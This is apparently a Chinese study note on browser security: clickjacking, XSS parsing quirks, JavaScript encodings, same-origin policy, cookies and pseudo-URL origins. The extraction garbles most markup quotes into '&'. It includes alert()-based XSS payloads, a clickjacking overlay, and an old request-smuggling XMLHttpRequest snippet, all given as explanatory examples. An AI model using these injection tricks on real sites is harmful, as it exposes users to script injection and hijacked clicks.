2 :active 点击一个元素。
3 :focus 光标放在一个元素上。
CSS造成点击劫持:
filter:alpha(opacity=0);opacity: 0;
position:top: 0left: 0
height: 300width: 250
position:top: 0left: 0
height: 300width: 250
&img&src=&用户看到的图片&&
&iframe&src=&用户实际操作的页面&&&/iframe&
点击劫持的防御方法一是添加X-FRAME-OPTIONS:NEVER头,另外一种方式是利用JavaScript:
if(top!=self)
document.write('&plaintext&');
两种方式都有一定的局限性
如下代码是一个有效的CSS2的代码,并且在Firefox,Safari,Chrome,Opera,IE7,IE8,IE9中没有影响,但是在IE6中,可执行代码:
foo[bar|=&} *{xss: expression(alert(1));} x{&]{
以下代码中的color可以编码为c\olor,\c\o\l\or,c\6f l\06f r 。
=======================================================================================
浏览器脚本语言
解析javascript的时候以下两段代码不相同:
var&my_variable1 = 1;
var&my_variable2 =
&/script&&
var my_variable1 = 1;
var my_variable2 = 2;
这是因为&script&在解析之前并没有链接起来,相反,代码一中的第一个script标签会引起错误。
从而导致整个标签被忽略,所有标签内的代码都无法执行。
在JS中有两种定义函数的方式:
1是var aaa=function(){...}
2是function aaa(){...}
var 方式定义的函数,不能先调用函数,后声明,只能先声明函数,然后调用。
function方式定义函数可以先调用,后声明。
&script&&&
//aaa();这样调用就会出错&&
var&aaa =&function(){&&
&&alert(&A&);&&
aaa();//这样就不会出错&&
//先调用后声明&&
function&bbb(){&&
&&alert(&bb&);&&
出于历史原因,某些HTML元素(&IMG&,&FORM&,&EMBED&,&object&,&APPLET&)
的名字也直接映射到文档的命名空间,如下面的代码片段所示:
&img&name=&hello&&src=&/&&
&alert(document.hello.src);
document.getElementById(&output&).innerHTML =&&&b&Hi mom!&/b&&;
向id为output的标签里插入&b&Hi mom!&/b&。
采用.innerHTML插入数据时,必须为完整的数据块,比如下面的代码:
some_element.innerHTML = &&b&Hi&;
some_element.innerHTML += & mom!&/b&&i&&;
等同于下面的代码:
some_element.innerHTML =&&&b&Hi&/b& mom!&i&&/i&&;
DOM操作时,其本身会对一些字符做解码处理,如下代码:
&textarea&style=&display:none&&id=&json&&
&&&name&:&Jack&&,
&&&country&:&China&
&/textarea&
My name is :&span&id=&me&&loading...&/span&
function&$(id){
&&return&document.getElementById(id);
var&data=$(&json&).
alert(data);
var&profile=eval(&(&+data+&)&);//把string转成object方便操作
$(&me&).innerHTML = profile.
可以看到alert出的data数据为
&&&& &name&:&Jack&&,
&&&& &country&:&China&
下面的例子是使用getAttribute时也会解码:
&img&id=&pic&&src=/305.gif&&bigpic=&&&&img src=1 onerror=alert(1)&&i b =&&onclick=&test()&&
&div&id=&bigimage&&
function&$(id){
&&return&document.getElementById(id);
function&test(){
&&big=$(&pic&).getAttribute(&bigpic&);//big此时为:&&&img src=1 onerror=alert(1)&&i b =
&&$(&bigimage&).innerHTML=&&img src=\&&&+ big +&&\&/&&;
javascript编码
javascript支持多种字符编码方式:
1 C语言的编码,\b表示退格,\t表示水平制表符等等,公认的ECMAScript编码。
2 三位数字:用反斜杠加八位8进制来表示,如\145可表示字符e,该语法不属于ECMAScript,但是基本所有的浏览器都支持。
3 两位数字:用反斜杠加x加八位16进制表示,如\x65可表示字符e,同样不属于ECMAScript,但是在解析底层,C语言中有很好的支持。
4 四位数字:Unicode编码,十六位16进制表示,如\u0065可表示字符e,属于ECMAScript编码。
需要注意的是组后一种编码方式不止在字符串中才可以表示,如下代码也可正常的执行(但是不可替代括号与引号):
\u0061lert(&This displays a message!&);
JavaScript中,window对象是一个全局变量,并且默认定义的变量都为全局变量,window下的方法可以直接访问:
&script&type=&text/javascript&&
window.alert(1);&
window.alert(window.alert);&
并且可重写:
&script&type=&text/javascript&&
function&alert() {}
定义数组的两种方式:
&script&type=&text/javascript&&
x=[1,alert,{},[],/a/];
alert(x[4]);
默认返回最后一个:
&script&type=&text/javascript&&
objLiteral={'objProperty':123};
alert(objLiteral[0,1,2,3,'objProperty']);
&script&type=&text/javascript&&
objLiteral={'objProperty':123};
alert(objLiteral[(0,1,2,3,(0,'objProperty'))]);
JavaScript中定义字符串除了'string',&string&方式之外,还有其他的方式:
&script&type=&text/javascript&&
alert(/I am a&string/+'');
alert(/I am a&string/.source);
alert(/I am a&string/['source']);
alert(['I am a string']+[])
第一个alert中是一个正则表达式加一个空字符串,JavaScript会把正则强制转为字符串。
第二个alert中使用了标准的正则对象的source属性,返回结果为正则匹配完的字符串,第三个相同是属性的另外一种访问方式。
第三个alert中是利用了访问数组时如果不是指定的访问一个元素,会自动调用toString()方法,转为字符串。
还有一种非标准的使用字符串的方式(IE8,Safari,Opera,Firefox和Chrome已经支持),使用类似数组的方式:
&script&type=&text/javascript&&
alert('abcdefg'[0]);
火狐当中对函数名的规范非常的宽泛:
&script&type=&text/javascript&&
window.function=function&function(){return&function&function() {return&function&function(){alert('Works in Firefox')}()}()}()
JavaScript支持多行的字符串,当一\结尾时,下一行的字符串会接着上一行的结尾:
&script&type=&text/javascript&&&
alert(&this is a \
似乎所有的JavaScript引擎都支持函数之前的运算符,如:+,-,~,++,--,!,运算符也可写在typeof和void之前。
&script&type=&text/javascript&&&
!~+-++alert(1)
&script type=&text/javascript&&&
void~void~typeof~typeof--alert(2)
&script type=&text/javascript&&&
alert(3)/abc
最新的Chrome与Safari前两个已经不会执行了。
查看控制台可以看到三个js其实都是报错了的,前两个是由于alert函数返回的是undefined,进行++和--操作的时候是非法的。
最后一个是试图用alert函数除以一个未声明的变量,先执行alert函数后再除的时候报错。
=======================================================================================
同源策略的文档模型
同源策略(Same Origin policy,SOP),也称为单源策略(Single Origin policy),它是一种用于Web浏览器编程语言(如JavaScript和Ajax)的安全措施,以保护信息的保密性和完整性。
同源策略能阻止网站脚本访问其他站点使用的脚本,同时也阻止它与其他站点脚本交互。
要访问的资源
非IE浏览器
主机不匹配
主机不匹配
协议不匹配
协议不匹配
端口不匹配
同源策略一开始是为了管理DOM之间的访问,后来逐渐扩展到Javascript对象,但并非是全部。
例如非同源的脚本之间可以调用location.assign()和location.replace()。
同源策略在提高了安全性,但同时也降低了灵活性。
例如很难将与两个域之间的数据可以方便的传送。
介绍两种解决方式:document.domain和postMessage()。
javascript允许子域之间使用顶级域名。
例如和都可以进行如下设置:
document.domain=&&
设置这个属性之后,子域之间可以方便的通信,需注意的是协议和端口号必须相同。
访问的资源
document.domain
document.domain
协议不匹配
postMessage()是HTML5的一个API接口,由于比较新,所以在IE6和IE7中不支持。
1&向另外一个iframe发送消息:
var&message =&'Hello'&+ (new&Date().getTime());
& & window.parent.frames[1].postMessage(message,&'*');
iframe1.html需要向iframe2.html发送消息,也就是第二个iframe,所以是window.parent.frames[1]。
如果是向父页面发送消息就是window.parent。
postMessage这个函数接收二个参数,缺一不可,第一个参数即你要发送的数据。
第二个参数是非常重要,主要是出于安全的考虑,一般填写允许通信的域名。
这里为了简化,所以使用&*',即不对访问的域进行判断。
2&另外一个iframe监听消息事件:
iframe2.html中写个监听message事件,当有消息传到iframe2.html时就会触发这个事件。
var&onmessage =&function(e) {
& &&var&data = e.data,p =&document.createElement('p');
& & p.innerHTML =
&&&&document.getElementById('display').appendChild(p);
&//监听postMessage消息事件
if&(typeof&window.addEventListener !=&'undefined') {
&&& window.addEventListener('message', onmessage,&false);
&}&else&if&(typeof&window.attachEvent !=&'undefined') {
&&& window.attachEvent('onmessage', onmessage);
如果你有加域名限,比如下面的代码:
window.parent.frames[1].postMessage(message,&'');
就要在onmessage中追加个判断:
if(event.origin !== '')&
XMLHttpRequest的同源策略
一个简单的同步XMLHttpRequest请求:
var&x =&new&XMLHttpRequest();
x.open(&POST&,&&/some_script.cgi&,&false);
x.setRequestHeader(&X-Random-Header&,&&Hi mom!&);
x.send(&...POST payload here...&);
alert(x.responseText);
XMLHttpRequest请求严格遵守同源策略,非同源不可以请求。
这个API也做过很多测试与改进,下面列出之前的测试方法:
var&x =&new&XMLHttpRequest();
x.open(&POST&,&&/&,&false);
// 定义发送内容长度为7
x.setRequestHeader(&Content-Length&,&&7&);
// 构造的http请求。
&Gotcha!\n&&+
&GET /evil_response.html HTTP/1.1\n&&+
&Host: \n\n&
现在的浏览器都不存在上面的隐患,包括基本都禁用了TRACE方法,防止httponly的cookie泄漏问题等。
Web Storage的同源策略
Web Storage是由Mozilla的工程师在Firefox1.5中加入的,并且加入了HTML5中,现在的浏览器都支持,除了IE6与IE7。
JavaScript可以通过localStorage与sessionStorage对Web Storage进行创建,检索和删除:
localStorage.setItem(&message&,&&Hi mom!&);&
alert(localStorage.getItem(&message&));&
localstorage.removeItem(&message&);
localStorage对象可以长时间保存,并且遵守同源策略。
但是在IE8中localStorage会把域名相同但是协议分别为HTTP和HTTPS的内容放在一起,IE9中已修改。
在Firefox中,localStorage没有问题,但是sessionStorage也是会把域名相同的HTTP与HTTPS放在一起。
Cookie的安全策略
设置Cookie总结
在设置cookie,domain设置为:
最终cookie的范围
非IE浏览器
(一个域)
cookie设置失败,设置的域是当前域的一个子域
cookie设置失败,域名不匹配
cookie设置失败,域名不匹配
设置失败,域名太广,存在安全风险。
Cookie中的path参数可以设定指定目录的cookie。
例如设定domain为,path为/some/path/ 在访问下面url的时候会带上设定的cookie:
http://foo./some/path/subdirectory/hello_world.txt
存在一定的安全风险,因为path的设定没有考虑到同源策略。
httponly属性可以防止通过document.cookie的API访问设定的cookie。
secure属性设定后只有在通过https传输时才会带上设定的cookie,可以防止中间人攻击。
Adobe Flash
AllowScriptAccess参数:用来控制flash通过ExternallInterface.call()函数调用javascript的时的限制。
有三个值:always,never和sameorigin,最后一个值只允许同域的JavaScript操作(08年之前默认为always,现在默认为sameorigin)。
AllowNetworking参数:用来控制flash与外部的网络通讯。
可选的值为:all(允许使用所有的网络通讯,默认值),internal(flash不能与浏览器通讯如navigateToURL,但是可以调用其他的API),none(禁止任何的网络通讯)
由于本地文件都是通过file:协议进行访问的,由于不存在host,所以无法遵循同源策略。
所以本地保存的一个HTML文件,在浏览器中通过file:协议访问后,可以通过XMLHttpRequest或DOM对本地其他文件进行操作。
与此同时,也可以对互联网的其他资源做同样的操作。各浏览器厂商意识到这个问题,并努力做了修改:
测试代码:
1.html(1.txt随机写一些字符串即可)
function&createXHR(){
&&return&window.XMLHttpRequest?
&&new&XMLHttpRequest():
&&new&ActiveXObject(&Microsoft.XMLHTTP&);
function&getlocal(url){
&&xmlHttp = createXHR();
&&xmlHttp.open(&GET&,url,false);
&&xmlHttp.send();
&&result = xmlHttp.responseT
function&main(){
&&url =&&file://路径/1.txt&;
&&alert(url);
&&result = getlocal(url);
&&alert(result);
1 Chrome浏览器(使用WebKit内核的浏览器)
完全禁止跨文档的XMLHttpRequest和DOM操作,并禁止了document.cookie和&meta http-equiv=&Set-Cookie& ...&的操作。
允许访问同目录与子目录里的文件。也可通过document.cookie与&meta http- equiv=&Set-Cookie& ...&设定cookie,file:协议下cookie共享,storage也是。
3 IE7及以上
允许本地文件之间的访问,但是在执行JavaScript之前会有一个提示,用户点击通过之后可以执行,cookie域Firefox类似,但是file:协议下不支持storage。
允许本地文件的访问,同时也允许对http协议的访问,cookie也是一样。
=======================================================================================
一些web应用用到了伪URL例如about:,javascript:,和data:来创建HTML文档。
这种方法是为了不需要再与服务器通信,可以节约时间更快的响应,但是也带进了很多安全隐患。
about:blank
about协议在现在的浏览器中有很多用途,但是其中大部分不是为了获取正常的页面。
about:blank这个URL可以用来被创建DOM对象,例如:
&iframe&src=&about:blank&&name=&test&&&/iframe&
frames[&test&].document.body.innerHTML =&&&h1&Hi!&/h1&&;
在浏览器中,创建一个about:blank页面,它继承的域为创建它的页面的域。
例如,点击一个链接,提交一个表单,创建一个新窗口,但是当用户手动输入about:或者书签中打开的话,他的域是一个特殊的域,任何其他的页面都不可以访问。
data:协议是设计用来放置小数据的,例如图标之类的,可以减少http请求数量,例如:
&img&src=&data:image/base64,/9j/4AAQSkZJRgABAQEBLAEsAAD...&&
用以下代码研究域的问题:
&iframe&src=&data:text/charset=utf-8,&script&alert(document.domain)&/script&&&&&
在Chrome与Safari中,所有的data:都会赋予一个单独的,不可获取的域,而不是从父域中继承的。
Firefox与Opera中,域是继承于当前页面。
IE8之前的版本不支持data:协议。
javascript:和vbscript:
javascript:协议允许后面执行javascript代码,并且继承了调用的当前域。
有些情况会对后面的内容处理两次,如果代码正确的话,会把后面的代码当成html解析,覆盖掉原来的html代码:
&iframe&src='javascript:&&b&2 + 2 = & + (2+2) + &&/b&&'&&
=================================&
顶一下(0) 踩一下(0)
热门标签:}

我要回帖

更多关于 设集合a等于大括号x 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信